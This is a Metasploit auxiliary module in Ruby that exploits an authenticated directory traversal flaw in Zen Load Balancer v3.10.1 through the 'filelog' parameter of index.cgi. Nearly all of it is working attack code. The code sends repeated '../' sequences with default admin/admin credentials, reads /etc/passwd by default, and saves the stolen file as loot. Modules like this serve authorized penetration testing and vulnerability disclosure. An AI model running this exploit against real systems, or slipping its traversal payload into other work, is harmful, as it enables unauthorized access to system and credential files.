Zen Load Balancer Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Zen Load Balancer Directory Traversal',  
'Description' => %q{  
This module exploits a authenticated directory traversal vulnerability in Zen Load  
Balancer `v3.10.1`. The flaw exists in 'index.cgi' not properly handling 'filelog='  
parameter which allows a malicious actor to load arbitrary file path.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Basim Alabdullah', # Vulnerability discovery  
'Dhiraj Mishra' # Metasploit module  
],  
'References' => [  
['EDB', '48308']  
],  
'DisclosureDate' => '2020-04-10',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(444),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),  
OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd']),  
OptString.new('TARGETURI', [true, 'The base URI path of the ZenConsole install', '/']),  
OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'admin']),  
OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'admin'])  
]  
)  
end  
  
def run_host(ip)  
filename = datastore['FILEPATH']  
traversal = '../' * datastore['DEPTH']  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.cgi'),  
'vars_get' =>  
{  
'id' => '2-3',  
'filelog' => "#{traversal}#{filename}",  
'nlines' => '100',  
'action' => 'See logs'  
},  
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])  
}, 25)  
  
unless res && res.code == 200  
print_error('Nothing was downloaded')  
return  
end  
  
print_good("#{peer} - Downloaded #{res.body.length} bytes")  
path = store_loot(  
'zenload.http',  
'text/plain',  
ip,  
res.body,  
filename  
)  
print_good("File saved in: #{path}")  
end  
end  
`